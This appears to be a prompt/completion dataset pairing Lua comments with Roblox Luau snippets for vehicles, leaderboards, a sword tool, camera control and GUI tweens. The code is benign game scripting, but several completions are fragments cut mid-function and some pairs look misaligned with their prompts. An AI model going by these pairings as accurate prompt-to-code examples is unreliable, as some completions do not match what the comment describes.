prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--[=[ Intended for classes that extend BaseObject only @class PromiseRemoteFunctionMixin ]=]
local require = require(script.Parent.loader).load(script) local promiseChild = require("promiseChild") local PromiseRemoteFunctionMixin = {}
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) plrData.Money.Gold.Value = plrData.Money.Gold.Value - 100 -- TODO track for dissertation local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation) ClassInformationTable:GetClassFolder(player,"Mage").WiseCasting.Value = true end
-- Public Methods
function SpringClass:Update(dt) if (not self.instant) then local t, k, d, x0, v0 = self.t, self.k, self.d, self.x, self.v local a0 = k*(t - x0) + v0*d local v1 = v0 + a0*(dt/2) local a1 = k*(t - (x0 + v0*(dt/2))) + v1*d local v2 = v0 + a1*(dt/2) local a2 = k*(t - (x0 + v1*(dt/2))) + v2*d local v3 = v0 + a2*dt local x4 = x0 + (v0 + 2*(v1 + v2) + v3)*(dt/6) self.x, self.v = x4, v0 + (a0 + 2*(a1 + a2) + k*(t - (x0 + v2*dt)) + v3*d)*(dt/6) if (getAbsDist(x4, self.t) > self.marginOfError) then return x4 end end self.x, self.v = self.t, self.v*0 return self.x end
--Plot Current Supercharger Horsepower
function GetSCurve(x,gear) local hp=(math.max(CurveS(x)/(PeakCurveS/HP_S),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end
--[[Misc]]
Tune.LoadDelay = .2 -- Delay before initializing chassis (in seconds) Tune.AutoStart = false -- Set to false if using manual ignition plugin Tune.AutoFlip = true -- Set to false if using manual flip plugin
--Left lean Multiplier
ZR15RightLegLeftLeanM= 1 XR15RightLegLeftLeanM = 1 YR15RightLegLeftLeanM = 1 R15RightKneeLeftLeanM = 1 ZR15RightArmLeftLeanM = 1 XR15RightArmLeftLeanM = 1 YR15RightArmLeftLeanM = 1 R15RightElbowLeftLeanM = 1 ZR15LeftLegLeftLeanM= 1 XR15LeftLegLeftLeanM = 1 YR15LeftLegLeftLeanM = 1 R15LeftKneeLeftLeanM = 1 ZR15LeftArmLeftLeanM = 1 XR15LeftArmLeftLeanM = 1 YR15LeftArmLeftLeanM = 1 R15LeftElbowLeftLeanM = 1 ZR15LowerTorsoLeftLeanM = 1 XR15LowerTorsoLeftLeanM = 1 YR15LowerTorsoLeftLeanM = 1 ZR15UpperTorsoLeftLeanM = 1
-- Create target box pool
local SelectionBoxPool = InstancePool.new(60, function () return Make 'SelectionBox' { Name = 'BTSelectionBox', Parent = GetCore().UI, LineThickness = 0.025, Transparency = 0.5, Color = Selection.Color } end)
-- We get the initial shop size for opening the shop frame.
local initialShopSize = shopFrame.Size isOpen.Changed:Connect(function() if isOpen.Value == true then -- open shopFrame.Visible = true shopFrame.Size = UDim2.new(0,0,0,0) local shopTweenInfo = TweenInfo.new(0.15, Enum.EasingStyle.Linear) local shopTweenGoal = { Size = initialShopSize } local shopTween = ts:Create(shopFrame, shopTweenInfo, shopTweenGoal) shopTween:Play() shopBtn.TextLabel.Text = "Close Shop" elseif isOpen.Value == false then -- close local shopTweenInfo = TweenInfo.new(0.15, Enum.EasingStyle.Linear) local shopTweenGoal = { Size = UDim2.new(0,0,0,0) } local shopTween = ts:Create(shopFrame, shopTweenInfo, shopTweenGoal) shopTween:Play() -- When the Tween has finished, the shop frame is hidden. shopTween.Completed:Connect(function() shopFrame.Visible = false shopBtn.TextLabel.Text = "Buy Cash!" end) end end) shopBtn.MouseButton1Click:Connect(function() -- used to toggle the isOpen value to fire the Changed event. if isOpen.Value == true then isOpen.Value = false elseif isOpen.Value == false then isOpen.Value = true end end)
-- ONLY SUPPORTS ORDINAL TABLES (ARRAYS). Selects a random object out of tbl
Table.random = function (tbl) return tbl[RNG:NextInteger(1, #tbl)] end
--[[ if your changing the DataStore name from LB to anything else you should change it inside the saving script too ]]
-- local LeaderBoardStore = DataStore:GetOrderedDataStore("LB") local function Arrange() -- pcall can help us to indentify and silence the errors local success , errormessage = pcall(function() local MainPage = LeaderBoardStore:GetSortedAsync(false , 50) local ThisPage = MainPage:GetCurrentPage() for i , v in pairs(ThisPage) do -- i is the player's rank and v is the player's data local Player = game.Players:GetPlayerByUserId(v.key) local Coins = v.Value or 0 local NewFrame = script:FindFirstChild("Frame"):Clone() NewFrame.Player.Text = Player.Name NewFrame.Rank.Text = i NewFrame.Coins.Text = Coins NewFrame.Parent = script.Parent if ChatService then -- first checking if ChatService has loaded or not -- Leaderboard tags are added in the below lines local Speaker = ChatService:GetSpeaker(Player.Name) if Speaker then -- You can Change the TagText and TagColor Speaker:SetExtraData("Tags" , {{TagText = "#"..i , TagColor = Color3.fromRGB(0, 255, 127)}}) end end end end) if not success then -- if there is any error in the script it will warn us here warn(errormessage) end end Arrange()
--character welds
local larmw local rarmw local llegw local rlegw local headw local torsow
-- play the buzz sound followed by the zap sound when the orb is touched -- stop both sounds after 1 second
orb.Touched:connect(function() buzzSound:Play() wait(1) zapSound:Play() wait(1) buzzSound:Stop() zapSound:Stop() end)
--[[ Returns a dictionary containing all keys and their associated objects ]]
function Registry:getAll() local tab = {} for key, object in pairs(self.objects) do tab[key] = object end return tab end
--[[Driver Handling]]
--Driver Sit car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then --Distribute Client Interface local p=game.Players:GetPlayerFromCharacter(child.Part1.Parent) car.DriveSeat:SetNetworkOwner(p) local g=script.Parent["A-Chassis Interface"]:Clone() g.Parent=p.PlayerGui end end) --Driver Leave car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") then --Remove Flip Force if car.DriveSeat:FindFirstChild("Flip")~=nil then car.DriveSeat.Flip.MaxTorque = Vector3.new() end --Remove Wheel Force for i,v in pairs(car.Wheels:GetChildren()) do if v:FindFirstChild("#AV")~=nil then if v["#AV"].AngularVelocity.Magnitude>0 then v["#AV"].AngularVelocity = Vector3.new() v["#AV"].MaxTorque = Vector3.new() end end end end end)
-----------------------------------------------
function findAllFlagStands(root) local c = root:children() for i=1,#c do if (c[i].className == "Model" or c[i].className == "Part") then findAllFlagStands(c[i]) end if (c[i].className == "FlagStand") then table.insert(stands, c[i]) end end end function hookUpListeners() for i=1,#stands do stands[i].FlagCaptured:connect(onCaptureScored) end end function onPlayerEntered(newPlayer) if CTF_mode == true then local stats = Instance.new("IntValue") stats.Name = "leaderstats" local captures = Instance.new("IntValue") captures.Name = "Captures" captures.Value = 0 captures.Parent = stats -- VERY UGLY HACK -- Will this leak threads? -- Is the problem even what I think it is (player arrived before character)? while true do if newPlayer.Character ~= nil then break end wait(5) end stats.Parent = newPlayer else local stats = Instance.new("IntValue") stats.Name = "leaderstats" local kills = false if Settings.LeaderboardSettings.KOs then kills = Instance.new("IntValue") kills.Name = Settings.LeaderboardSettings.KillsName kills.Value = 0 end local deaths = false if Settings.LeaderboardSettings.WOs then deaths = Instance.new("IntValue") deaths.Name = Settings.LeaderboardSettings.DeathsName deaths.Value = 0 end local cash = false if Settings.LeaderboardSettings.ShowCurrency then cash = Instance.new("StringValue") cash.Name = Settings.CurrencyName cash.Value = 0 end local PlayerStats = game.ServerStorage.PlayerMoney:FindFirstChild(newPlayer.Name) if PlayerStats ~= nil then if cash then local Short = Settings.LeaderboardSettings.ShowShortCurrency PlayerStats.Changed:connect(function() if (Short) then cash.Value = Settings:ConvertShort(PlayerStats.Value) else cash.Value = Settings:ConvertComma(PlayerStats.Value) end end) end end if kills then kills.Parent = stats end if deaths then deaths.Parent = stats end if cash then cash.Parent = stats end -- VERY UGLY HACK -- Will this leak threads? -- Is the problem even what I think it is (player arrived before character)? while true do if newPlayer.Character ~= nil then break end wait(5) end local humanoid = newPlayer.Character.Humanoid humanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end ) -- start to listen for new humanoid newPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end ) stats.Parent = newPlayer end end function onCaptureScored(player) local ls = player:findFirstChild("leaderstats") if ls == nil then return end local caps = ls:findFirstChild("Captures") if caps == nil then return end caps.Value = caps.Value + 1 end findAllFlagStands(game.Workspace) hookUpListeners() if (#stands > 0) then CTF_mode = true end game.Players.ChildAdded:connect(onPlayerEntered)
-- Also set this to true if you want the thumbstick to not affect throttle, only triggers when a gamepad is conected
local onlyTriggersForThrottle = false local function onThrottleAccel(actionName, inputState, inputObject) MasterControl:AddToPlayerMovement(Vector3.new(0, 0, -CurrentThrottle)) CurrentThrottle = (inputState == Enum.UserInputState.End or Deccelerating) and 0 or -1 MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle)) Accelerating = not (inputState == Enum.UserInputState.End) if (inputState == Enum.UserInputState.End) and Deccelerating then CurrentThrottle = 1 MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle)) end end local function onThrottleDeccel(actionName, inputState, inputObject) MasterControl:AddToPlayerMovement(Vector3.new(0, 0, -CurrentThrottle)) CurrentThrottle = (inputState == Enum.UserInputState.End or Accelerating) and 0 or 1 MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle)) Deccelerating = not (inputState == Enum.UserInputState.End) if (inputState == Enum.UserInputState.End) and Accelerating then CurrentThrottle = -1 MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle)) end end local function getHumanoid() local character = LocalPlayer and LocalPlayer.Character if character then for _,child in pairs(character:GetChildren()) do if child:IsA('Humanoid') then return child end end end end local function getClosestFittingValue(value) if value > 0.5 then return 1 elseif value < -0.5 then return -1 end return 0 end local function onRenderStepped() if CurrentVehicleSeat then local moveValue = MasterControl:GetMoveVector() if game:GetService("UserInputService"):GetGamepadConnected(Enum.UserInputType.Gamepad1) and onlyTriggersForThrottle and useTriggersForThrottle then CurrentVehicleSeat.Throttle = -CurrentThrottle else CurrentVehicleSeat.Throttle = getClosestFittingValue(-moveValue.z) end CurrentVehicleSeat.Steer = getClosestFittingValue(moveValue.x) end end local function onSeated(active, currentSeatPart) if active then if currentSeatPart and currentSeatPart:IsA('VehicleSeat') then CurrentVehicleSeat = currentSeatPart if useTriggersForThrottle then ContextActionService:BindAction("throttleAccel", onThrottleAccel, false, Enum.KeyCode.ButtonR2) ContextActionService:BindAction("throttleDeccel", onThrottleDeccel, false, Enum.KeyCode.ButtonL2) end local success = pcall(function() RunService:BindToRenderStep("VehicleControlStep", Enum.RenderPriority.Input.Value, onRenderStepped) end) if not success then if RenderSteppedCn then return end RenderSteppedCn = RunService.RenderStepped:connect(onRenderStepped) end end else CurrentVehicleSeat = nil if useTriggersForThrottle then ContextActionService:UnbindAction("throttleAccel") ContextActionService:UnbindAction("throttleDeccel") end MasterControl:AddToPlayerMovement(Vector3.new(0, 0, -CurrentThrottle)) CurrentThrottle = 0 local success = pcall(function() RunService:UnbindFromRenderStep("VehicleControlStep") end) if not success and RenderSteppedCn then RenderSteppedCn:disconnect() RenderSteppedCn = nil end end end local function CharacterAdded(character) local humanoid = getHumanoid() while not humanoid do wait() humanoid = getHumanoid() end -- if HumanoidSeatedCn then HumanoidSeatedCn:disconnect() HumanoidSeatedCn = nil end HumanoidSeatedCn = humanoid.Seated:connect(onSeated) end if LocalPlayer.Character then CharacterAdded(LocalPlayer.Character) end LocalPlayer.CharacterAdded:connect(CharacterAdded) return VehicleController
---------------------------------- ------------FUNCTIONS------------- ----------------------------------
function UnDigify(digit) if digit < 1 or digit > 61 then return "" elseif digit == 1 then return "1" elseif digit == 2 then return "!" elseif digit == 3 then return "2" elseif digit == 4 then return "@" elseif digit == 5 then return "3" elseif digit == 6 then return "4" elseif digit == 7 then return "$" elseif digit == 8 then return "5" elseif digit == 9 then return "%" elseif digit == 10 then return "6" elseif digit == 11 then return "^" elseif digit == 12 then return "7" elseif digit == 13 then return "8" elseif digit == 14 then return "*" elseif digit == 15 then return "9" elseif digit == 16 then return "(" elseif digit == 17 then return "0" elseif digit == 18 then return "q" elseif digit == 19 then return "Q" elseif digit == 20 then return "w" elseif digit == 21 then return "W" elseif digit == 22 then return "e" elseif digit == 23 then return "E" elseif digit == 24 then return "r" elseif digit == 25 then return "t" elseif digit == 26 then return "T" elseif digit == 27 then return "y" elseif digit == 28 then return "Y" elseif digit == 29 then return "u" elseif digit == 30 then return "i" elseif digit == 31 then return "I" elseif digit == 32 then return "o" elseif digit == 33 then return "O" elseif digit == 34 then return "p" elseif digit == 35 then return "P" elseif digit == 36 then return "a" elseif digit == 37 then return "s" elseif digit == 38 then return "S" elseif digit == 39 then return "d" elseif digit == 40 then return "D" elseif digit == 41 then return "f" elseif digit == 42 then return "g" elseif digit == 43 then return "G" elseif digit == 44 then return "h" elseif digit == 45 then return "H" elseif digit == 46 then return "j" elseif digit == 47 then return "J" elseif digit == 48 then return "k" elseif digit == 49 then return "l" elseif digit == 50 then return "L" elseif digit == 51 then return "z" elseif digit == 52 then return "Z" elseif digit == 53 then return "x" elseif digit == 54 then return "c" elseif digit == 55 then return "C" elseif digit == 56 then return "v" elseif digit == 57 then return "V" elseif digit == 58 then return "b" elseif digit == 59 then return "B" elseif digit == 60 then return "n" elseif digit == 61 then return "m" else return "?" end end function IsBlack(note) if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then return true end end local TweenService = game:GetService("TweenService") function Tween(obj,Goal,Time,Wait,...) local TwInfo = TweenInfo.new(Time,...) local twn = TweenService:Create(obj, TwInfo, Goal) twn:Play() if Wait then twn.Completed:wait() end return end
--[[Transmission]]
-- Tune.Clutch = true -- Implements a realistic clutch. Tune.TransModes = {"Auto"} --[[ [Modes] "Manual" ; Traditional clutch operated manual transmission "DCT" ; Dual clutch transmission, where clutch is operated automatically "Auto" ; Automatic transmission that shifts for you >Include within brackets eg: {"Manual"} or {"DCT", "Manual"} >First mode is default mode ]] --[[Transmission]] Tune.ClutchType = "Clutch" --[[ [Types] "Clutch" : Standard clutch, recommended "TorqueConverter" : Torque converter, keeps RPM up "CVT" : CVT, found in scooters ]] Tune.ClutchMode = "Speed" --[[ [Modes] "Speed" : Speed controls clutch engagement "RPM" : Speed and RPM control clutch engagement ]] --Transmission Settings Tune.Stall = true -- Stalling, enables the bike to stall. An ignition plugin would be necessary. Disables if Tune.Clutch is false. Tune.ClutchEngage = 25 -- How fast engagement is (0 = instant, 99 = super slow) --Torque Converter: Tune.TQLock = false -- Torque converter starts locking at a certain RPM (see below if set to true) --Torque Converter and CVT: Tune.RPMEngage = 5300 -- Keeps RPMs to this level until passed --Clutch: Tune.SpeedEngage = 15 -- Speed the clutch fully engages at (Based on SPS) --Clutch: "RPM" mode Tune.ClutchRPMMult = 1.0 -- Clutch RPM multiplier, recommended to leave at 1.0 --Manual: Quick Shifter Tune.QuickShifter = true -- To quickshift, cut off the throttle to upshift, and apply throttle to downshift, all without clutch. Tune.QuickShiftTime = 0.25 -- Determines how much time you have to quick shift up or down before you need to use the clutch. --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoShiftType = "DCT" --[[ [Types] "Rev" : Clutch engages fully once RPM reached "DCT" : Clutch engages after a set time has passed ]] Tune.AutoUpThresh = 200 -- Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 -- Automatic downshift point (relative to peak RPM, positive = Under-rev) --Automatic: Revmatching Tune.ShiftThrot = 100 -- Throttle level when shifting down to revmatch, 0 - 100% --Automatic: DCT Tune.ShiftUpTime = 0.25 -- Time required to shift into next gear, from a lower gear to a higher one. Tune.ShiftDnTime = 0.125 -- Time required to shift into next gear, from a higher gear to a lower one. Tune.FinalDrive = (30/16)*1 -- (Final * Primary) -- Gearing determines top speed and wheel torque -- for the final is recommended to divide the size of the rear sprocket to the one of the front sprocket -- and multiply it to the primary drive ratio, if data is missing, you can also just use a single number Tune.NeutralRev = true -- Enables you to back up manually in neutral Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 32/5 , -- Neutral and 1st gear are required --[[ 2 ]] 32/6 , --[[ 3 ]] 33/7 , --[[ 4 ]] 32/8 , --[[ 5 ]] 34/9 , --[[ 6 ]] 33/10 , } Tune.Limiter = true -- Enables a speed limiter Tune.SpeedLimit = 121 -- At what speed (SPS) the limiter engages
-- Shapes --
local shapes = {} for _, v in pairs(script:GetChildren()) do table.insert(shapes, v) end local colors = { [1] = Color3.fromRGB(255,255,255), [2] = Color3.fromRGB(255,0,0), [3] = Color3.fromRGB(0,255,0), [4] = Color3.fromRGB(0,0,255), [5] = Color3.fromRGB(255,255,0), [6] = Color3.fromRGB(255,0,191), [7] = Color3.fromRGB(0, 255, 255), [8] = Color3.fromRGB(213, 115, 61), [9] = Color3.fromRGB(98, 37, 209), [10] = Color3.fromRGB(91, 93, 105), } local function getColor() local num = math.random(1,10) if colors[num] then return colors[num] end return Color3.fromRGB(255,255,255) end
---Controller
local Controller=false local UserInputService = game:GetService("UserInputService") local LStickX = 0 local RStickX = 0 local RStickY = 0 local RTriggerValue = 0 local LTriggerValue = 0 local ButtonX = 0 local ButtonY = 0 local ButtonL1 = 0 local ButtonR1 = 0 local ButtonR3 = 0 local DPadUp = 0 function DealWithInput(input,IsRobloxFunction) if Controller then if input.KeyCode ==Enum.KeyCode.ButtonX then if input.UserInputState == Enum.UserInputState.Begin then ButtonX=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonX=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonY then if input.UserInputState == Enum.UserInputState.Begin then ButtonY=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonY=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonL1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonL1=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR1=0 end elseif input.KeyCode ==Enum.KeyCode.DPadLeft then if input.UserInputState == Enum.UserInputState.Begin then DPadUp=1 elseif input.UserInputState == Enum.UserInputState.End then DPadUp=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR3=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR3=0 end end if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads if input.KeyCode == Enum.KeyCode.Thumbstick1 then LStickX = input.Position.X elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then RStickX = input.Position.X RStickY = input.Position.Y elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder RTriggerValue = input.Position.Z elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder LTriggerValue = input.Position.Z end end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too UserInputService.InputEnded:connect(DealWithInput) car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(Binded) do run:UnbindFromRenderStep(v) end workspace.CurrentCamera.CameraType=Enum.CameraType.Custom workspace.CurrentCamera.FieldOfView=55 player.CameraMaxZoomDistance=200 end end) function Camera() local cam=workspace.CurrentCamera local intcam=false local CRot=0 local CBack=0 local CUp=0 local mode=0 local look=0 local camChange = 0 local function CamUpdate() if not pcall (function() if camChange==0 and DPadUp==1 then intcam = not intcam end camChange=DPadUp if mode==1 then if math.abs(RStickX)>.1 then local sPos=1 if RStickX<0 then sPos=-1 end if intcam then CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80 else CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90 end else CRot=0 end if math.abs(RStickY)>.1 then local sPos=1 if RStickY<0 then sPos=-1 end if intcam then CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30 else CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30) end else CUp=0 end else if CRot>look then CRot=math.max(look,CRot-20) elseif CRot<look then CRot=math.min(look,CRot+20) end CUp=0 end if intcam then CBack=0 else CBack=-180*ButtonR3 end if intcam then cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Scriptable cam.FieldOfView=55 player.CameraMaxZoomDistance=5 local cf=car.Body.Cam.CFrame if ButtonR3==1 then cf=car.Body.RCam.CFrame end CRot = CRot + script.Parent.Values.SteerC.Value*-10 cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0) else cam.CameraSubject=car.DriveSeat cam.FieldOfView=55 if mode==0 then cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") else cam.CameraType = "Scriptable" local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500) local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed) cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position) end end end) then cam.FieldOfView=55 cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") end end local function ModeChange() if GMode~=mode then mode=GMode run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end mouse.KeyDown:connect(function(key) if key=="," then look=50 elseif key=="k" then if intcam then look=-160 else look=-180 end elseif key=="." then look=-50 elseif key=="'" then run:UnbindFromRenderStep("CamUpdate") intcam=not intcam run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end) mouse.KeyUp:connect(function(key) if key=="," and look==50 then look=0 elseif key=="k" and (look==-160 or look==-180) then look=0 elseif key=="." and look==-50 then look=0 end end) run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange) table.insert(Binded,"CamUpdate") table.insert(Binded,"CMChange") end Camera() mouse.KeyDown:connect(function(key) if key=="b" then if GMode>=1 then GMode=0 else GMode=GMode+1 end if GMode==1 then Controller=true else Controller=false end end end)
--- DEPRECATED METHODS:
function methods:RegisterGuiRoot() -- This is left here for compatibility with ChatScript versions lower than 0.5 end
--------LEFT DOOR --------
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.05; -- The lower the number the slower and smoother the tween AimZoom = 60; -- Default zoom AimSpeed = 0.70; UnaimSpeed = 0.70; CycleAimZoom = 30; -- Cycled zoom MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
-- probably not a good idea but whatever
local function updateSelected() for _, button in next, activeButtons._tasks do button:SetSelected(isWearing(button.AssetId)) end end
--bp.Position = shelly.PrimaryPart.Position
bp.Parent = nil wait(math.random(3,8)) end local soundBank = game.ServerStorage.Sounds.NPC.Peeper:GetChildren() shelly.Health.Changed:connect(function() local hitSound = soundBank[math.random(1,#soundBank)]:Clone() hitSound.PlayOnRemove = true hitSound.Parent = shelly.PrimaryPart wait() hitSound:Destroy() end) while true do if tick()-lastEgg >= 60 then lastEgg = tick() local newEgg = game.ServerStorage.Items:FindFirstChild("Egg"):Clone() newEgg.Color = shelly.Torso.Color newEgg.CFrame = shelly.PrimaryPart.CFrame*CFrame.new(0,3,3) newEgg.Parent = workspace local newSound = game.ServerStorage.Sounds.Quicks.Pop:Clone() newSound.PlayOnRemove = true newSound.Parent = newEgg wait() newSound:Destroy() game:GetService("Debris"):AddItem(newEgg,55) end MoveShelly() end
--[[Sword Part Class]]
-- local SwordPart = { Damage = 50, AttackTime = 0.5, CoolDown = 0, LastSwing = 0, LastHit = 0, Part= nil, Owner = nil,--player object that owns this sword OnHit = nil, OnHitHumanoid = nil, OnAttackReady = nil, OnAttack = nil, SwingSound = nil, HitSound = nil, SwingAnimation = nil, --animation track! ActiveConnections = {}, } do UTIL.MakeClass(SwordPart) function SwordPart.New(npart,nowner) local init= UTIL.DeepCopy(SwordPart) init.Part= npart init.Owner = nowner table.insert(init.ActiveConnections,init.Part.Touched:connect(function(hit) init:SwordTouch(hit) end)) init.OnHit = InternalEvent.New() init.OnHitHumanoid = InternalEvent.New() init.OnAttackReady = InternalEvent.New() init.OnAttack = InternalEvent.New() return init end function SwordPart:SwordTouch(hit) if tick()-self.LastSwing >self.AttackTime or tick()-self.LastHit<self.AttackTime then return end self.OnHit:Fire(hit) local character,humanoid = UTIL.FindCharacterAncestor(hit) if character and character ~= self.Owner.Character then humanoid:TakeDamage(self.Damage) self.OnHitHumanoid:Fire(humanoid,hit) self.LastHit = tick() if self.HitSound then self.HitSound:Play() end end end function SwordPart:DoSwing() if tick()-self.LastSwing<self.AttackTime+self.CoolDown then return end if self.SwingAnimation then self.SwingAnimation:Play() end if self.SwingSound then self.SwingSound:Play() end self.LastSwing = tick() self.OnAttack:Fire() end function SwordPart:Destroy() for _,i in pairs(self.ActiveConnections) do i:disconnect() end end end do local Handle = script.Parent local Tool = Handle.Parent local Player = game.Players.LocalPlayer local Character = UTIL.WaitForValidCharacter(Player) local SwingAni = UTIL.Instantiate"Animation" {AnimationId = "http://www.roblox.com/Asset?ID=89289879"} local HitSound = Handle:WaitForChild('Hit') local SwingSound = Handle:WaitForChild('Swing') local SwingAniTrack local Sword Tool.Equipped:connect(function(mouse) Sword = SwordPart.New(Handle,Player) Sword.Damage = 40 Sword.HitSound = HitSound Sword.SwingSound = SwingSound Character = UTIL.WaitForValidCharacter(Player) local Humanoid = Character:FindFirstChild('Humanoid') SwingAniTrack = Humanoid:LoadAnimation(SwingAni) Sword.SwingAnimation = SwingAniTrack Sword.OnHitHumanoid:Connect(function(humanoid,hit) local myTorso = Character:FindFirstChild('Torso') local torso = humanoid.Parent:FindFirstChild('Torso') if not torso or not myTorso then return end if hit.Name=='Right Arm' or hit.Name=='Left Arm' or hit.Name=='Right Leg' or hit.Name=='Left Leg' then hit:BreakJoints() WeldUtil.WeldBetween(hit, Handle) Delay(1,function() hit:BreakJoints() end ) end end) mouse.Button1Down:connect(function() Sword:DoSwing() end) end) Tool.Unequipped:connect(function() Sword:Destroy() end) end
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Classes.Super.PureKnight.Obtained.Value ~= true end
-- Checks if the player is new, otherwise will populate with saved data
Players.PlayerAdded:Connect(function(player) local data local success = pcall(function() data = AllPlayers:GetAsync(player.UserId) end) if success then local status = "" if not data then AllPlayers:SetAsync(player.UserId, true) else status = Statuses:GetAsync(player.UserId) end player:SetAttribute("status", status) end end)
--[[ Issues a warning like `Logging.warn`, but only outputs once per call site. This is useful for marking deprecated functions that might be called a lot; using `warnOnce` instead of `warn` will reduce output noise while still correctly marking all call sites. ]]
function Logging.warnOnce(messageTemplate, ...) local trace = debug.traceback() if onceUsedLocations[trace] then return end onceUsedLocations[trace] = true Logging.warn(messageTemplate, ...) end return Logging
--[[ DisableNativeGUI Description: This script disable some native ui elements that are part of roblox. ]]
--// Bullet Physics
BulletPhysics = Vector3.new(-10,55,0); -- Drop fixation: Lower number = more drop BulletSpeed = 2725; -- Bullet Speed BulletSpread = 2.5; -- How much spread the bullet has ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds ExploSpeed = 600; -- Speed for explosive rounds BulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)
--Unmute players across different servers
local unmuteConnection = ms:SubscribeAsync(unmuteTopic, function(message) local targetId = message.Data[1] for i, plr in pairs(game.Players:GetPlayers()) do if plr.UserId == targetId then channel:UnmuteSpeaker(plr.Name) end end end)
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.25; -- The lower the number the slower and smoother the tween AimZoom = 50; -- Default zoom AimSpeed = 0.45; UnaimSpeed = 0.35; CycleAimZoom = 50; -- Cycled zoom MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
